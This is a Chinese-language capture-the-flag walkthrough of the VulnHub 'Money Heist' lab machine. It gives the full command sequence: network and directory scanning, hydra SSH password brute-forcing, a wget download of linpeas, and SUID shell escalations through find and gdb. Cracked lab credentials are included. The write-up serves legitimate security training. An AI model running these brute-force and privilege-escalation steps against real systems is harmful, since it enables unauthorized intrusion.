vulnhub-Money-Heist-catch-me-if-you-can通关教程

这里我们用virbox搭建的靶机，用桥接网卡和VMware的kali连通就行了，配置kali的网卡信息。

ip addr add 192.168.5.100/24 dev eth0

ip route add default via 192.168.5.1 dev eth0

这里有真实的设备信息，直接靶机IP就行

Nmap 192.168.5.0/24 -sP

这里发现了ftp和http，我们都是枚举他们，但是没开ssh?

Nmap 192.168.5.229

果然，ssh变成了55001

Nmap 192.168.5.229 -p- -A

先枚举ftp，看看ftp里有没有文件信息

ftp 192.168.5.229

get note.txt

叫我们帮他抓住教师，没甚有用的信息

登录web发现是一张图片但是也没有什么信息可以使用strings,exiftool,binwalk

只能枚举一下目录信息了，看看有没有收获

Dirb http://192.168.5.229

在访问目录时发现一张损坏的图片，这个就需要修复了使用hexeditor

我们发现是data类型，但是我们打不开。。。

wget http://192.168.5.229/robots/tokyo.jpeg

file Tokyo.jpeg

我们用hexeditor来分析图片二进制，这里我论坛找了数据。。。

Hexeditor Tokyo.jpeg

发现是文件头部不对，我们修改他就行。发现正常显示jpeg类型。但是还是没啥信息。。。

File Tokyo.jpeg

我们之前还下载了gate.exe（dirb时枚举出来的目录，访问下载的）,没准这会有信息出来。

File gate.exe

发现是zip文件，我们解压它，但是发现后缀不对修改再解压，但是好像坏掉了

Unzip gate.exe

Mv gate.exe gate.zip

Unzip gate.zip

我们看看里面有没有隐藏信息给我们突破哦

Strings gate.zip

发现是个目录，又是一张图片但是没什么信息。。。

Exiftool bank.jpeg

我发现dirb普通报不出来，只好用字典了，这里我跟网上用他们的字典才爆出来。。。我们还可以用gobuster,这个也是不错的工具。

locate directory-list-2.3-medium.txt

gobuster dir -u http://192.168.5.229/BankOfSp41n/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt

发现是一个登录页面，但是现在手头没有字典。。。

但是我们在源码处发现了账号密码 anonymous/B1tCh

登录进来后我们发现了用户Arturo

这里我们直接爆他的ssh，用rockyou.txt要爆很久，直接用big.txt,也是我看别人那学到的>_<

locate big.txt

hydra -l arturo -P /usr/share/wfuzz/wordlist/general/big.txt -s 55001 ssh://192.168.5.229

这里我IP填错了我说怎么没爆出来。。。

这里我们用爆破出来的密码corona登录ssh。

Ssh arturo@192.168.5.229

我们已经来就发现可疑用户，但是没什么用，我们直接到home下有四个先。。。

再一起跑一遍脚本。。。

Wget http://192.168.5.100:8000/linpeas.sh

Chmod +x linpeas.sh

太多东西了，其实是我之前打靶过太快了，现在自己再认真全部内容过一遍哈哈哈

这里我们find提权，进入denver后进入日记发现隐藏目录。。。

Find . -exec /bin/sh -p \; -quit

当前目录执行系统命令运行bash，以私有权限，有就停止（\标志exec的结束），匹配到第一个文件后就退出。

Ok啊到这一步了，莫斯密码。。。

这个密码学还是看别人的教程吧，我没学过>_<

莫斯->分接->ROT13->仿射

我们将home目录下的用户做成密码本。

我们还是用hydray来爆破别的用户的ssh获得nairobi/iamabossbitchhere

hydra -L user.txt -p iamabossbitchhere -s 55001 ssh://192.168.5.229

因为端口做了转换，登录ssh时注意-p指定端口。。。我也卡了一会才想起来。。。

ssh nairobi@192.168.5.229 -p 55001

提权到tokyo用户

gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

这里告诉了我们密码india1947

我们也可以自己生成密码本爆破root。（cupp/crunch）

这台靶机给了很多没用的图片，还给了张坏掉的图片修复还是没活动什么。我们通过dirb爆出来的gate.exe获得了隐藏的路径，通过gobuster扫到隐藏路径的登录框，我们通过前端泄露的账号密码登录进去，这里前端还泄露了一个ssh用户名，我们只能用暴力破解来获得A的shell会话。通过A的shell会话我们利用find提权进入D的shell会话，在里面我们发现加密的密码，解密后我们爆出T的shell登录密码，su为T后，我们发现隐藏文件下泄露了root密码的信息。这里我们可以用社工密码生成器来生成india1947的密码本来破解。这里也可以知道密码，后续再看看cupp。

这里密码是存在的，但是爆的久我就不搞了。。。